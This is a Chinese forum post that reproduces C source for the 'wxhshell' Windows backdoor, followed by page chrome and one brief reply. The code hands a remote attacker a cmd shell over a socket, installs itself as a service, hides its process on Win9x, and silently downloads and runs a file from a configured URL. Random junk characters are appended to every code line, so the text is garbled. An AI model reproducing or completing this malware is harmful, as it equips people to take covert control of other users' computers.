  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wg\MaZ6Di  
  if(DownloadFile(cmd,wsh)) c;.jo?RR2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WYd9p;k  
  else tui5?\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : 22)` ;0  
  } g9@H4y6fe=  
  else { Of m0{c=  
[,sm]/Xlc  
    switch(cmd[0]) { r7-H`%.  
  2B b,ZC*  
  // 帮助 mjKu\7F  
  case '?': { qW`DCZu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "xAIK  
    break; qyzH*#d=Cf  
  } jwmPy)X|s\  
  // 安装 ;e6L@)dp9  
  case 'i': { /Xl(>^|&  
    if(Install()) xM=?ES  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Q:r83#  
    else _6-N+FI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mC} b>\  
    break; uc aa;zj  
    } @*BVS'\  
  // 卸载 iX-.mq$  
  case 'r': { .f&Z+MQ  
    if(Uninstall()) s*R UYx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rk#p zD  
    else hWi2S!*Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2TgS )  
    break; 5E^P2Mlc  
    } %E[ $np>  
  // 显示 wxhshell 所在路径 7()5\ae@q'  
  case 'p': { AnoA5H  
    char svExeFile[MAX_PATH]; hISYtNWjd"  
    strcpy(svExeFile,"\n\r"); }Z)YK}_1  
      strcat(svExeFile,ExeFile); W@RD bsc  
        send(wsh,svExeFile,strlen(svExeFile),0); 1 dOB|  
    break; `NfwW:  
    } ^%O$7*  
  // 重启 z9w]{Zd_,d  
  case 'b': { \+"Jg/)ij  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mbHMy[R  
    if(Boot(REBOOT)) .Hg{$SAC(w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `aSbGMz  
    else { 4kR;K !@k  
    closesocket(wsh); 5?.!A 'zb  
    ExitThread(0); :XOjS[wBm  
    } k ~4o`eA  
    break; pm2]  
    } DABV}@K"  
  // 关机 3;88a!AA!  
  case 'd': { xeKm} MN]S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |@VhR(^O$  
    if(Boot(SHUTDOWN)) 3xgU=@!;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5=  V29  
    else { !&5|:96o  
    closesocket(wsh); 1Se2@WR'  
    ExitThread(0); :lu"14  
    } Zzmo7kFx3  
    break; lT~WP)  
    } %vbov}R  
  // 获取shell `|mV~F|  
  case 's': { `JyI`@,!  
    CmdShell(wsh); h@J3+u<  
    closesocket(wsh); Kd\d>&b  
    ExitThread(0); MRT<hB  
    break; '<'5BeU  
  } {REGoe=W%  
  // 退出 VxE;tJ>1  
  case 'x': { 5Q:%f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Df$~=A}  
    CloseIt(wsh); ) )t]5Ys%;  
    break; f1 XM_  
    } I9x kqj  
  // 离开  QB !%  
  case 'q': { }PM7CZSq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "sWsK %  
    closesocket(wsh); bf.yA:~U  
    WSACleanup(); ]@~%i=. 7  
    exit(1); L-zU%`1{M  
    break; h 92KU  
        } [.6bxK  
  } 4vNH"72P  
  } h8-uI.RZ  
1=e(g#Ajn\  
  // 提示信息 h")7kjM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$49l  
} BB_(!omq[  
  } B>sQcZ:  
J*m7 d4^  
  return; Z?WVSJUVf  
} F`,Hf Cb\  
\tY7Ga%c  
// shell模块句柄 D *IeG>%  
int CmdShell(SOCKET sock) 'I:_}q  
{ o)$eIu}Wg  
STARTUPINFO si; sCp)o,;  
ZeroMemory(&si,sizeof(si)); 1QnaZhu'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EQX<<x"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s,l*=<  
PROCESS_INFORMATION ProcessInfo; .~TI%&#  
char cmdline[]="cmd"; m=Mk@xfQ#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jhBfy|Ftu  
  return 0; 3,#v0#  
} PWquu`  
P# U|  
// 自身启动模式 }SyK)W5Y  
int StartFromService(void) Kaaz,C.$^  
{ xMa9o  
typedef struct EMdU4YnE"  
{ <I0om(P  
  DWORD ExitStatus; ^NM>x Ienf  
  DWORD PebBaseAddress; O1+yOef"k  
  DWORD AffinityMask; b! teSf  
  DWORD BasePriority; 5PP^w~n  
  ULONG UniqueProcessId; '@IReMl  
  ULONG InheritedFromUniqueProcessId; .ud&$-[a  
}   PROCESS_BASIC_INFORMATION; !89hO4 0r  
&PFq(4  
PROCNTQSIP NtQueryInformationProcess; woF {O)~X  
z46Sh&+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DF-.|-^9I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =kzHZc  
,]y_[]636  
  HANDLE             hProcess; $vn)(zn+  
  PROCESS_BASIC_INFORMATION pbi; t**d{P+  
Y"nz l]T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5KIhk`S  
  if(NULL == hInst ) return 0; k![H;}W  
gA3f@7}d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {XD':2E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _'^_9u G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1N5lI97j  
6\ .LG4@LO  
  if (!NtQueryInformationProcess) return 0; N^k& 8  
mX?t|:[b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B@ ms Gb C  
  if(!hProcess) return 0; aSgKh  
H^vA}F`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C~. T[Mlu  
kpNp}b8']  
  CloseHandle(hProcess); @2hOy@V  
A]drNFE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `tXd?E/e  
if(hProcess==NULL) return 0; xDsKb_  
h-SKw=n  
HMODULE hMod; fr$6&HDZ9  
char procName[255]; w@n}DCFt  
unsigned long cbNeeded; A5]yC\*zt  
I[w5V;>*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )_?h;wh 84  
<Of-,PcCV  
  CloseHandle(hProcess); 7W5Cm\  
@ `mke4>_  
if(strstr(procName,"services")) return 1; // 以服务启动 og&h$<uOZt  
k2PK4Ua_}q  
  return 0; // 注册表启动 NzeiGj  
} -})zRL0!'  
s#")hMJQ  
// 主模块 aygK$.wos  
int StartWxhshell(LPSTR lpCmdLine) %Y5F@=>&  
{ dO,; k +  
  SOCKET wsl; r6:e 423  
BOOL val=TRUE; "V`DhOG&  
  int port=0; |YfJ#Agm+  
  struct sockaddr_in door; i XGy*#>V  
J+N -+,,  
  if(wscfg.ws_autoins) Install(); \C$cbI=;+  
} j;es(~D  
port=atoi(lpCmdLine); v\?l+-A? y  
Mm9*$g!R  
if(port<=0) port=wscfg.ws_port; @L0)k^:  
gFfKK`)}D'  
  WSADATA data; Fdq5:v?k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J |UFuD  
wwJs_f\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v$5D&Tv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nNnfcA&W  
  door.sin_family = AF_INET; t)~$p#NS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H\9ePo\b~  
  door.sin_port = htons(port); #YK3Ogb,  
0<fQjXn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )p:+!sX(  
closesocket(wsl); s'IB{lJ9  
return 1; !67xN?b  
} sb?!U"v.'  
}_@p`>|)rB  
  if(listen(wsl,2) == INVALID_SOCKET) { I{.t-3hp  
closesocket(wsl); yT='V1  
return 1; y|3("&)"S  
} y-gXGvZ  
  Wxhshell(wsl); F}1._I`-  
  WSACleanup(); =ReSlt  
W{j(=<|<  
return 0; c>+68<H  
e+>$4Jq  
} >}JEX]V  
Bqb`WX[<`  
// 以NT服务方式启动 l k /Ke  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dNov= w  
{ i<=2 L?[.I  
DWORD   status = 0; Ag8lI+ h  
  DWORD   specificError = 0xfffffff; dk]A,TB*2  
[kqO6U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0V`~z-#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y>d`cRy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -mLu!32I<  
  serviceStatus.dwWin32ExitCode     = 0; s ;]"LD@  
  serviceStatus.dwServiceSpecificExitCode = 0; u^WZsW  
  serviceStatus.dwCheckPoint       = 0; 2^:iU{  
  serviceStatus.dwWaitHint       = 0; 5~E{bW$  
JRAU|gr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -SzCeq(p%5  
  if (hServiceStatusHandle==0) return; dP]Z:  
\]\h,Y8  
status = GetLastError(); \nL@P6X  
  if (status!=NO_ERROR) bQI.Qk  
{ :R$v7{1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {Hv kn{{'  
    serviceStatus.dwCheckPoint       = 0; #]^M/y h  
    serviceStatus.dwWaitHint       = 0; Q trU_c2k  
    serviceStatus.dwWin32ExitCode     = status; 6{fo.M?  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qkw_9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &W&A88FfZU  
    return; T?`Ha\go  
  } s9fEx -!y  
rm|,+ {  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ;CV'  
  serviceStatus.dwCheckPoint       = 0; H$ :BJ$x@  
  serviceStatus.dwWaitHint       = 0; XSx'@ qH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ma"M?aM  
}  Lu[Hz8  
2o W'B^-  
// 处理NT服务事件,比如:启动、停止 >gn@NJ2N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >km$zfM2-  
{ CL t(_!q  
switch(fdwControl) gx C`Ml  
{ i"E_nN"V  
case SERVICE_CONTROL_STOP: eq9qE^[Z&  
  serviceStatus.dwWin32ExitCode = 0; I^D*) z   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @]EdUzzKq  
  serviceStatus.dwCheckPoint   = 0; X [?E{[@Z  
  serviceStatus.dwWaitHint     = 0; m&s;zQ  
  { OXX D}-t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \oP  
  } |;U3pq)  
  return; qa6HwlC1  
case SERVICE_CONTROL_PAUSE: i A'p!l |P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jo0XOs  
  break; XqcNFSo)  
case SERVICE_CONTROL_CONTINUE: -YipPo"a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V@1,((,l  
  break; CwO$EL:[`  
case SERVICE_CONTROL_INTERROGATE: C"k]U[%{  
  break; NpGz y`&b  
}; fRzJiM{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z34+1d  
} V9`jq$  
5?E;Yy A  
// 标准应用程序主函数 oL9ELtb ]s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fECmELd  
{ oV~S4|9:  
8yuTT^  
// 获取操作系统版本 owO &[D/  
OsIsNt=GetOsVer(); T 7M];@q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ti#x62X{  
,^@/I:  
  // 从命令行安装 #"o`'5  
  if(strpbrk(lpCmdLine,"iI")) Install(); AJP-7PPD  
@\=4 Rin/q  
  // 下载执行文件 UXHtmi|_:  
if(wscfg.ws_downexe) { m`@~ZIa?>B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o;pJjC]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ORfMp'uP=  
} ~jC$C2A0  
}jNVR#D:  
if(!OsIsNt) { tYUo;V  
// 如果时win9x,隐藏进程并且设置为注册表启动 m2F+ 6G  
HideProc(); AxCFZf5  
StartWxhshell(lpCmdLine); :IozWPs*  
} 3 gW+|3E  
else zR}vR9Ls  
  if(StartFromService()) m!Aw,*m+*  
  // 以服务方式启动 Z$K[e  
  StartServiceCtrlDispatcher(DispatchTable); XBTjb  
else ;]%Syrzp  
  // 普通方式启动 08nA}+k  
  StartWxhshell(lpCmdLine); kyD*b3MN  
#| m*k  
return 0; !LpFK0rw  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八